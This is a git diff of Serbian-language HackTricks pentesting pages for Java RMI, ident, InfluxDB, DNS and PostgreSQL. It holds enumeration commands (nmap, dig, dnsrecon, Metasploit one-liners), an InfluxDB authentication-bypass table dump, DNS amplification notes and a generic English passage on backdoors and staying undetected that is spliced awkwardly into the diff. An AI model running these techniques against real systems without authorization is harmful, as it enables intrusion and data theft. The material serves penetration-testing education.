-301,8 +301,6 @@ $ rmg known javax.management.remote.rmi.RMIServerImpl_Stub ## Reference * [https://github.com/qtc-de/remote-method-guesser](https://github.com/qtc-de/remote-method-guesser) - -## HackTricks Automatske Komande ``` Protocol_Name: Java RMI #Protocol Abbreviation if there is one. Port_Number: 1090,1098,1099,1199,4443-4446,8999-9010,9999 #Comma separated if there is more than one. @@ -313,11 +311,11 @@ Name: Enumeration Description: Perform basic enumeration of an RMI service Command: rmg enum {IP} {PORT} ``` -
+
\ -Koristite [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) da biste lako izgradili i **automatizovali radne tokove** pokretane najnaprednijim alatima zajednice.\ -Pristupite danas: +Koristite [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) da biste lako izgradili i **automatizovali radne tokove** pokretane najnaprednijim alatima zajednice na svetu.\ +Dobijte pristup danas: {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} @@ -327,7 +325,7 @@ Pristupite danas: Drugi načini podrške HackTricks-u: -* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRETPLATU**](https://github.com/sponsors/carlospolop)! +* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRETPLATU**](https://github.com/sponsors/carlospolop)! * Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com) * Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family) * **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** diff --git a/network-services-pentesting/113-pentesting-ident.md b/network-services-pentesting/113-pentesting-ident.md index 57a81a265..21bd8781f 100644 --- a/network-services-pentesting/113-pentesting-ident.md +++ b/network-services-pentesting/113-pentesting-ident.md @@ -14,7 +14,7 @@ Drugi načini podrške HackTricks-u: -
+
Koristite [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) da lako izgradite i **automatizujete radne tokove** pokretane najnaprednijim alatima zajednice na svetu.\ Dobijte pristup danas: @@ -23,7 +23,7 @@ Dobijte pristup danas: ## Osnovne informacije -**Ident protokol** se koristi preko **Interneta** da poveže **TCP konekciju** sa određenim korisnikom. Originalno dizajniran za pomoć u **upravljanju mrežom** i **bezbednosti**, funkcioniše tako što omogućava serveru da upita klijenta na portu 113 radi dobijanja informacija o korisniku određene TCP konekcije. +**Ident protokol** se koristi preko **Interneta** da poveže **TCP konekciju** sa određenim korisnikom. Originalno dizajniran da pomogne u **upravljanju mrežom** i **bezbednosti**, funkcioniše tako što omogućava serveru da upita klijenta na portu 113 radi dobijanja informacija o korisniku određene TCP konekcije. Međutim, zbog savremenih briga o privatnosti i potencijala za zloupotrebu, njegova upotreba je smanjena jer može nenamerno otkriti informacije o korisniku neovlašćenim stranama. Preporučuje se primena unapređenih mera bezbednosti, kao što su enkriptovane konekcije i strogi kontrolni pristupi, kako bi se umanjili ovi rizici. @@ -36,7 +36,7 @@ PORT STATE SERVICE ### **Ručno - Dobijanje korisnika/Identifikacija servisa** -Ako mašina pokreće servis ident i samba (445) i povezani ste sa sambom koristeći port 43218. Možete saznati koji korisnik pokreće samba servis tako što ćete uraditi: +Ako mašina pokreće servis ident i samba (445) i povezani ste sa sambom koristeći port 43218. Možete saznati koji korisnik pokreće samba servis koristeći: ![](<../.gitbook/assets/image (15) (1) (1).png>) @@ -85,9 +85,9 @@ ident-user-enum v1.0 ( http://pentestmonkey.net/tools/ident-user-enum ) identd.conf -
+
-Koristite [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) da biste lako izgradili i **automatizovali radne tokove** pokretane najnaprednijim alatima zajednice.\ +Koristite [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) da biste lako izgradili i **automatizovali radne tokove** pokretane najnaprednijim alatima zajednice.\ Pristupite danas: {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} @@ -117,9 +117,9 @@ Note: apt install ident-user-enum ident-user-enum {IP} 22 23 139 445 (try all Drugi načini da podržite HackTricks: -* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJATELJSTVO**](https://github.com/sponsors/carlospolop)! +* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJEM**](https://github.com/sponsors/carlospolop)! * Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com) -* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family) +* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family) * **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** * **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume. diff --git a/network-services-pentesting/8086-pentesting-influxdb.md b/network-services-pentesting/8086-pentesting-influxdb.md index 8b3a2e8ea..0733db1da 100644 --- a/network-services-pentesting/8086-pentesting-influxdb.md +++ b/network-services-pentesting/8086-pentesting-influxdb.md @@ -1,6 +1,6 @@ # 8086 - Pentesting InfluxDB -
+
\ Koristite [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) da biste lako izgradili i **automatizovali radne tokove** pokretane najnaprednijim alatima zajednice.\ @@ -14,11 +14,11 @@ Dobijte pristup danas: Drugi načini podrške HackTricks-u: -* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRETPLATU**](https://github.com/sponsors/carlospolop)! +* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** Proverite [**PLANOVE ZA PRETPLATU**](https://github.com/sponsors/carlospolop)! * Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com) * Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family) * **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** -* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume. +* **Podelite svoje hakovanje trikova slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume. @@ -43,7 +43,7 @@ InfluxDB može zahtevati autentikaciju ili ne. influx -host 'host name' -port 'port #' > use _internal ``` -Ako dobijete grešku poput ove: `ERR: unable to parse authentication credentials`, to znači da se očekuju neki pristupni podaci. +Ako **dobijete grešku poput** ove: `ERR: unable to parse authentication credentials` to znači da **očekuje određene akreditive**. ``` influx –username influx –password influx_pass ``` @@ -104,7 +104,7 @@ inodes_used integer [ ... more keys ...] ``` -#### Izbaci tabelu +#### Izbacivanje Tabele I na kraju možete **izbaciti tabelu** radeći nešto slično: ```bash @@ -116,10 +116,10 @@ time cpu host usage_guest usage_guest_nice usage_idle 1497018760000000000 cpu1 ubuntu 0 0 99.69909729188728 0 0 0 0 0 0.20060180541622202 0.10030090270811101 ``` {% hint style="warning" %} -Tokom nekih testiranja sa zaobilaskom autentifikacije primećeno je da ime tabele mora biti između duplih navodnika kao: `select * from "cpu"` +Tokom testiranja sa zaobilaskom autentikacije primećeno je da ime tabele mora biti između duplih navodnika kao: `select * from "cpu"` {% endhint %} -### Automatizovana autentifikacija +### Automatizovana autentikacija ```bash msf6 > use auxiliary/scanner/http/influxdb_enum ``` @@ -127,20 +127,20 @@ msf6 > use auxiliary/scanner/http/influxdb_enum Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)! -Drugi načini da podržite HackTricks: +Drugi načini podrške HackTricks-u: -* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJATELJSTVO**](https://github.com/sponsors/carlospolop)! +* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)! * Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com) -* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family) +* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family) * **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** * **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume. -
+
\ -Koristite [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) da lako izgradite i **automatizujete radne tokove** pokretane najnaprednijim alatima zajednice na svetu.\ +Koristite [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) da biste lako izgradili i **automatizovali radne tokove** pokretane najnaprednijim alatima zajednice.\ Dobijte pristup danas: {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} diff --git a/network-services-pentesting/pentesting-dns.md b/network-services-pentesting/pentesting-dns.md index ba5b31780..b7050c7b6 100644 --- a/network-services-pentesting/pentesting-dns.md +++ b/network-services-pentesting/pentesting-dns.md @@ -6,7 +6,7 @@ Drugi načini podrške HackTricks-u: -* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJATELJSTVO**](https://github.com/sponsors/carlospolop)! +* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRETPLATU**](https://github.com/sponsors/carlospolop)! * Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com) * Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family) * **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** @@ -14,15 +14,15 @@ Drugi načini podrške HackTricks-u: -
+
-**Trenutno dostupno podešavanje za procenu ranjivosti & testiranje proboja**. Pokrenite kompletan pentest od bilo kog mesta sa 20+ alata i funkcija koje idu od izviđanja do izveštavanja. Mi ne zamenjujemo pentestere - mi razvijamo prilagođene alate, module za detekciju & eksploataciju kako bismo im vratili neko vreme da dublje kopaju, otvaraju školjke i zabavljaju se. +**Instantno dostupno podešavanje za procenu ranjivosti i testiranje proboja**. Pokrenite kompletan pentest od bilo kog mesta sa 20+ alata i funkcija koje idu od rekonstrukcije do izveštavanja. Mi ne zamenjujemo pentestere - mi razvijamo prilagođene alate, module za detekciju i eksploataciju kako bismo im vratili neko vreme da dublje kopaju, otvaraju ljuske i zabavljaju se. {% embed url="https://pentest-tools.com/" %} -## **Osnovne Informacije** +## **Osnovne informacije** -**Sistem za Imena Domena (DNS)** služi kao direktorijum interneta, omogućavajući korisnicima pristup veb sajtovima putem **lako pamtljivih imena domena** poput google.com ili facebook.com, umesto numeričkih Internet Protokol (IP) adresa. Prevodeći imena domena u IP adrese, DNS osigurava da veb pregledači brzo mogu učitati internet resurse, pojednostavljujući način na koji se krećemo po online svetu. +**Sistem za imena domena (DNS)** služi kao direktorijum interneta, omogućavajući korisnicima pristup veb sajtovima putem **lako pamtljivih imena domena** poput google.com ili facebook.com, umesto numeričkih Internet protokol (IP) adresa. Prevodeći imena domena u IP adrese, DNS osigurava da veb pregledači mogu brzo učitati internet resurse, pojednostavljujući način na koji se krećemo po onlajn svetu. **Podrazumevani port:** 53 ``` @@ -34,7 +34,7 @@ PORT STATE SERVICE REASON ### Različiti DNS serveri * **DNS Root Serveri**: Nalaze se na vrhu DNS hijerarhije, upravljajući top-level domenima i intervenišu samo ako niži nivo serveri ne odgovore. Internet korporacija za dodeljivanje imena i brojeva (**ICANN**) nadgleda njihov rad, sa globalnim brojem od 13. -* **Autoritativni Nameserveri**: Ovi serveri imaju poslednju reč za upite u svojim određenim zonama, pružajući definitivne odgovore. Ako ne mogu pružiti odgovor, upit se eskalira ka root serverima. +* **Autoritativni Nameserveri**: Ovi serveri imaju poslednju reč za upite u svojim određenim zonama, pružajući definitivne odgovore. Ako ne mogu pružiti odgovor, upit se prenosi na root servere. * **Neautoritativni Nameserveri**: Bez vlasništva nad DNS zonama, ovi serveri prikupljaju informacije o domenima putem upita drugim serverima. * **Caching DNS Server**: Ovaj tip servera pamti prethodne odgovore na upite tokom određenog vremena kako bi ubrzao vreme odgovora za buduće zahteve, pri čemu trajanje keša diktira autoritativni server. * **Forwarding Server**: Obavljajući jednostavnu ulogu, forwarding serveri jednostavno prosleđuju upite drugom serveru. @@ -51,7 +51,7 @@ dig version.bind CHAOS TXT @DNS ``` Takođe, alat `fpdns` može identifikovati server. -Takođe je moguće dobiti baner i sa **nmap** skriptom: +Takođe je moguće dobiti baner i pomoću **nmap** skripte: ``` --script dns-nsid ``` @@ -112,7 +112,7 @@ dnsrecon -r /24 -n #DNS reverse of all of the addresses dnsrecon -d active.htb -a -n #Zone transfer ``` {% hint style="info" %} -Ako uspete da pronađete poddomene koje se prevode u interne IP adrese, trebalo bi da pokušate da izvršite reverzni DNS BF ka NSs domena tražeći taj IP opseg. +Ako uspete da pronađete poddomene koje se prevode u interne IP adrese, trebalo bi da pokušate da izvršite reverzni DNS BF na NSs domena tražeći taj IP opseg. {% endhint %} Još jedan alat za to: [https://github.com/amine7536/reverse-scan](https://github.com/amine7536/reverse-scan) @@ -144,7 +144,7 @@ nmap -sSU -p53 --script dns-nsec-enum --script-args dns-nsec-enum.domains=paypal ``` ### IPv6 -Bruteforsiranje korišćenjem "AAAA" zahteva za prikupljanje IPv6 adresa poddomena. +Bruteforce korišćenjem "AAAA" zahteva za prikupljanje IPv6 adresa poddomena. ```bash dnsdict6 -s -t ``` @@ -152,26 +152,33 @@ dnsdict6 -s -t ### Introduction -When pentesting, it is common to encounter IPv6 addresses that do not have reverse DNS records associated with them. This can be a potential security risk as it may allow an attacker to gather information about the target network. In such cases, bruteforcing reverse DNS can be a useful technique to uncover additional information. +When pentesting, it is common to encounter IPv6 addresses that are not properly mapped to reverse DNS records. This can provide an opportunity for attackers to exploit this misconfiguration. By bruteforcing reverse DNS records for IPv6 addresses, attackers can gather valuable information about the target network. -### Steps to bruteforce reverse DNS using IPv6 addresses +### Tools for Bruteforcing Reverse DNS -1. **Enumerate IPv6 addresses**: Use tools like `nmap` or `masscan` to enumerate IPv6 addresses within the target network. +There are several tools available for bruteforcing reverse DNS records using IPv6 addresses. Some popular tools include: -2. **Generate possible domain names**: Since reverse DNS records are based on domain names, generate a list of possible domain names that could be associated with the IPv6 addresses. This can include variations of the target domain, subdomains, or common naming conventions used by the organization. +- **dnsrecon**: This tool can be used to perform DNS enumeration and bruteforcing of reverse DNS records. +- **dnsenum**: Another tool that can be used for DNS enumeration and bruteforcing. +- **Fierce**: Fierce is a DNS reconnaissance tool that can also be used for bruteforcing reverse DNS records. -3. **Bruteforce reverse DNS**: Utilize tools like `dnsrecon` or `dnsenum` to bruteforce reverse DNS records for the enumerated IPv6 addresses using the generated list of domain names. These tools can automate the process of querying DNS servers for reverse DNS records associated with the IPv6 addresses. +### Steps for Bruteforcing Reverse DNS -4. **Analyze results**: Review the results of the bruteforcing process to identify any potential misconfigurations or security vulnerabilities related to reverse DNS records. This information can be valuable for further enumeration and exploitation during the pentest. +To bruteforce reverse DNS records using IPv6 addresses, follow these general steps: -By following these steps, pentesters can effectively bruteforce reverse DNS using IPv6 addresses to gather additional information about the target network. +1. **Identify target IPv6 addresses**: Obtain a list of target IPv6 addresses that you want to bruteforce reverse DNS records for. +2. **Select a bruteforcing tool**: Choose a suitable tool for bruteforcing reverse DNS records using IPv6 addresses. +3. **Run the tool**: Execute the selected tool with the target IPv6 addresses to bruteforce reverse DNS records. +4. **Analyze results**: Analyze the results to identify any misconfigured or missing reverse DNS records that could be exploited. + +By following these steps, pentesters can uncover potential security weaknesses in the target network related to reverse DNS configurations for IPv6 addresses. ```bash dnsrevenum6 pri.authdns.ripe.net 2001:67c:2e8::/48 #Will use the dns pri.authdns.ripe.net ``` ### DNS Rekurzivni DDoS -Ako je **DNS rekurzija omogućena**, napadač može **falsifikovati** **poreklo** na UDP paketu kako bi naterao **DNS da pošalje odgovor na server žrtve**. Napadač može zloupotrebiti tipove zapisa **ANY** ili **DNSSEC** jer obično imaju veće odgovore.\ -Način da **proverite** da li DNS podržava **rekurziju** je da upitujete ime domena i **proverite** da li je **flag "ra"** (_dostupna rekurzija_) u odgovoru: +Ako je **DNS rekurzija omogućena**, napadač može **falsifikovati** **poreklo** na UDP paketu kako bi naterao **DNS da pošalje odgovor na server žrtve**. Napadač može zloupotrebiti **ANY** ili **DNSSEC** tipove zapisa jer obično imaju veće odgovore.\ +Način da **proverite** da li DNS podržava **rekurziju** je da upitujete ime domena i **proverite** da li je **flag "ra"** (_rekurzija dostupna_) u odgovoru: ```bash dig google.com A @ ``` @@ -183,21 +190,21 @@ dig google.com A @ ![](<../.gitbook/assets/image (276).png>) -
+
-**Instantno dostupno podešavanje za procenu ranjivosti i testiranje proboja**. Pokrenite kompletan pentest sa više od 20 alatki i funkcija koje idu od istraživanja do izveštavanja. Ne zamenjujemo pentestere - razvijamo prilagođene alatke, module za otkrivanje i eksploataciju kako bismo im vratili neko vreme da dublje kopaju, otvaraju ljuske i zabavljaju se. +**Instantno dostupno podešavanje za procenu ranjivosti i testiranje proboja**. Pokrenite kompletan pentest od bilo kog mesta sa preko 20 alatki i funkcija koje idu od izviđanja do izveštavanja. Ne zamenjujemo pentestere - razvijamo prilagođene alatke, module za otkrivanje i eksploataciju kako bismo im vratili nešto vremena da dublje kopaju, otvaraju ljuske i zabavljaju se. {% embed url="https://pentest-tools.com/" %} -### Slanje e-pošte na nepostojeći nalog +### Slanje pošte na nepostojeći nalog Proučavanjem obaveštenja o nedostavi (NDN) koje je pokrenuto slanjem e-pošte na nevažeću adresu unutar ciljnog domena, često se otkrivaju dragoceni detalji interne mreže. -Dostupni izveštaj o nedostavi uključuje informacije kao što su: +Dostupan izveštaj o nedostavi uključuje informacije kao što su: * Generišući server je identifikovan kao `server.example.com`. * Obaveštenje o neuspehu za `user@example.com` sa kodom greške `#550 5.1.1 RESOLVER.ADR.RecipNotFound; not found` je vraćeno. -* Interni IP adrese i imena hostova su otkriveni u originalnim zaglavljima poruke. +* Unutrašnje IP adrese i imena hostova su otkriveni u zaglavljima originalne poruke. ```markdown The original message headers were modified for anonymity and now present randomized data: @@ -234,7 +241,7 @@ host.conf Opasne postavke prilikom konfigurisanja Bind servera: | **Opcija** | **Opis** | -| ----------------- | ------------------------------------------------------------------------------ | +| ----------------- | ----------------------------------------------------------------------------- | | `allow-query` | Definiše koje hostove je dozvoljeno slati zahteve DNS serveru. | | `allow-recursion` | Definiše koje hostove je dozvoljeno slati rekurzivne zahteve DNS serveru. | | `allow-transfer` | Definiše koje hostove je dozvoljeno primati zone transfere od DNS servera. | @@ -243,7 +250,7 @@ Opasne postavke prilikom konfigurisanja Bind servera: ## Reference * [https://www.myrasecurity.com/en/knowledge-hub/dns/](https://www.myrasecurity.com/en/knowledge-hub/dns/) -* Knjiga: **Network Security Assessment 3rd edition** +* Knjiga: **Network Security Assessment 3. izdanje** ## HackTricks Automatske Komande ``` @@ -298,9 +305,9 @@ Description: DNS enumeration without the need to run msfconsole Note: sourced from https://github.com/carlospolop/legion Command: msfconsole -q -x 'use auxiliary/scanner/dns/dns_amp; set RHOSTS {IP}; set RPORT 53; run; exit' && msfconsole -q -x 'use auxiliary/gather/enum_dns; set RHOSTS {IP}; set RPORT 53; run; exit' ``` -
+
-**Trenutno dostupno podešavanje za procenu ranjivosti i testiranje proboja**. Pokrenite kompletan pentest sa više od 20 alatki i funkcija koje idu od izviđanja do izveštavanja. Ne zamenjujemo pentestere - razvijamo prilagođene alatke, module za otkrivanje i eksploataciju kako bismo im vratili nešto vremena da dublje kopaju, otvaraju ljuske i zabavljaju se. +**Trenutno dostupno podešavanje za procenu ranjivosti i testiranje proboja**. Pokrenite kompletan pentest sa više od 20 alatki i funkcija koje idu od izviđanja do izveštavanja. Mi ne zamenjujemo pentestere - mi razvijamo prilagođene alatke, module za otkrivanje i eksploataciju kako bismo im vratili nešto vremena da dublje kopaju, otvaraju ljuske i zabavljaju se. {% embed url="https://pentest-tools.com/" %} @@ -310,9 +317,9 @@ Command: msfconsole -q -x 'use auxiliary/scanner/dns/dns_amp; set RHOSTS {IP}; s Drugi načini podrške HackTricks-u: -* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** Proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)! +* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** Proverite [**PLANOVE ZA PRETPLATU**](https://github.com/sponsors/carlospolop)! * Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com) -* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family) +* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family) * **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** * **Podelite svoje hakovanje trikova slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume. diff --git a/network-services-pentesting/pentesting-postgresql.md b/network-services-pentesting/pentesting-postgresql.md index 4a319d79d..52337f02c 100644 --- a/network-services-pentesting/pentesting-postgresql.md +++ b/network-services-pentesting/pentesting-postgresql.md @@ -1,6 +1,6 @@ # 5432,5433 - Pentesting PostgreSQL -
+
\ Koristite [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) da biste lako izgradili i **automatizovali radne tokove** pokretane najnaprednijim alatima zajednice.\ @@ -14,7 +14,7 @@ Pristupite danas: Drugi načini podrške HackTricks-u: -* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** Proverite [**PLANOVE ZA PRETPLATU**](https://github.com/sponsors/carlospolop)! +* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** Proverite [**PLANOVE ZA PRETPLATU**](https://github.com/sponsors/carlospolop)! * Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com) * Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family) * **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** @@ -24,7 +24,7 @@ Drugi načini podrške HackTricks-u: ## **Osnovne informacije** -**PostgreSQL** je opisan kao **objektno-relacioni sistem baza podataka** koji je **open source**. Ovaj sistem ne samo da koristi SQL jezik već ga i unapređuje dodatnim funkcijama. Njegove mogućnosti mu omogućavaju da obradi širok spektar tipova podataka i operacija, čineći ga raznovrsnim izborom za programere i organizacije. +**PostgreSQL** je opisan kao **objektno-relacioni sistem baza podataka** koji je **open source**. Ovaj sistem ne samo da koristi SQL jezik već ga i unapređuje dodatnim funkcijama. Njegove mogućnosti mu omogućavaju da obradi širok spektar tipova podataka i operacija, čineći ga svestranim izborom za programere i organizacije. **Podrazumevani port:** 5432, a ako je ovaj port već u upotrebi, čini se da će postgresql koristiti sledeći port (verovatno 5433) koji nije u upotrebi. ``` @@ -81,7 +81,7 @@ Za više informacija o **zloupotrebi PostgreSQL baze podataka** pogledajte: [postgresql-injection](../pentesting-web/sql-injection/postgresql-injection/) {% endcontent-ref %} -## Automatsko nabrajanje +## Automatsko Nabrojavanje ``` msf> use auxiliary/scanner/postgres/postgres_version msf> use auxiliary/scanner/postgres/postgres_dbname_flag_injection @@ -101,7 +101,7 @@ connect_timeout=10'); ``` * Host je nedostupan -`DETALJNO: nije moguće povezati se na server: Nema rute do hosta. Da li je server pokrenut na hostu "1.2.3.4" i prihvata li TCP/IP konekcije na portu 5678?` +`DETALJNO: nije moguće povezivanje na server: Nema rute do hosta. Da li server radi na hostu "1.2.3.4" i prihvata TCP/IP konekcije na portu 5678?` * Port je zatvoren ``` @@ -113,7 +113,23 @@ running on host "1.2.3.4" and accepting TCP/IP connections on port 5678? DETAIL: server closed the connection unexpectedly This probably means the server terminated abnormally before or while processing the request ``` -ili +## Pentesting PostgreSQL + +### PostgreSQL Enumeration + +During the enumeration phase, you can use tools like `nmap` to discover PostgreSQL services running on the target system. You can also use tools like `pgcli` or `psql` to connect to the PostgreSQL database and gather information about users, databases, and privileges. + +### PostgreSQL Exploitation + +Once you have gathered enough information during the enumeration phase, you can proceed with exploiting vulnerabilities in the PostgreSQL service. Common exploitation techniques include SQL injection, privilege escalation, and brute force attacks against weak credentials. + +### PostgreSQL Post-Exploitation + +After successfully exploiting a PostgreSQL service, you can perform post-exploitation activities such as dumping the database, creating backdoors, or escalating your privileges within the system. It is crucial to maintain access to the system without being detected. + +### PostgreSQL Security Recommendations + +To secure a PostgreSQL database, you should regularly update the software to patch known vulnerabilities. Additionally, you should follow security best practices such as using strong passwords, limiting access to the database, and monitoring for any suspicious activities. ``` DETAIL: FATAL: password authentication failed for user "name" ``` @@ -122,21 +138,23 @@ DETAIL: FATAL: password authentication failed for user "name" DETAIL: could not connect to server: Connection timed out Is the server running on host "1.2.3.4" and accepting TCP/IP connections on port 5678? ``` +U PL/pgSQL funkcijama trenutno nije moguće dobiti detalje izuzetaka. Međutim, ako imate direktni pristup PostgreSQL serveru, možete dobiti potrebne informacije. Ako izvlačenje korisničkih imena i lozinki iz sistema tabela nije izvodljivo, možete razmotriti korišćenje metode napada rečnikom o kojoj je diskutovano u prethodnom odeljku, jer bi mogla potencijalno dati pozitivne rezultate. + ## Enumeracija privilegija ### Uloge -| Tipovi uloga | | +| Vrste uloga | | | -------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------- | -| rolsuper | Uloga ima privilegije superkorisnika | -| rolinherit | Uloga automatski nasleđuje privilegije uloga članova | -| rolcreaterole | Uloga može kreirati druge uloge | -| rolcreatedb | Uloga može kreirati baze podataka | +| rolsuper | Uloga ima privilegije superkorisnika | +| rolinherit | Uloga automatski nasleđuje privilegije uloga kojima pripada | +| rolcreaterole | Uloga može kreirati druge uloge | +| rolcreatedb | Uloga može kreirati baze podataka | | rolcanlogin | Uloga može se prijaviti. Drugim rečima, ova uloga može biti dodeljena kao početni identifikator sesije | -| rolreplication | Uloga je uloga za replikaciju. Uloga za replikaciju može pokrenuti replikacione veze i kreirati i odbaciti slote za replikaciju. | -| rolconnlimit | Za uloge koje se mogu prijaviti, postavlja maksimalan broj istovremenih veza koje ova uloga može napraviti. -1 znači bez ograničenja. | -| rolpassword | Ne lozinka (uvek se čita kao `********`) | -| rolvaliduntil | Vreme isteka lozinke (koristi se samo za autentifikaciju lozinkom); null ako nema isteka | +| rolreplication | Uloga je uloga za replikaciju. Uloga za replikaciju može pokrenuti replikacione veze i kreirati i obrisati slotove za replikaciju. | +| rolconnlimit | Za uloge koje se mogu prijaviti, postavlja maksimalan broj istovremenih veza 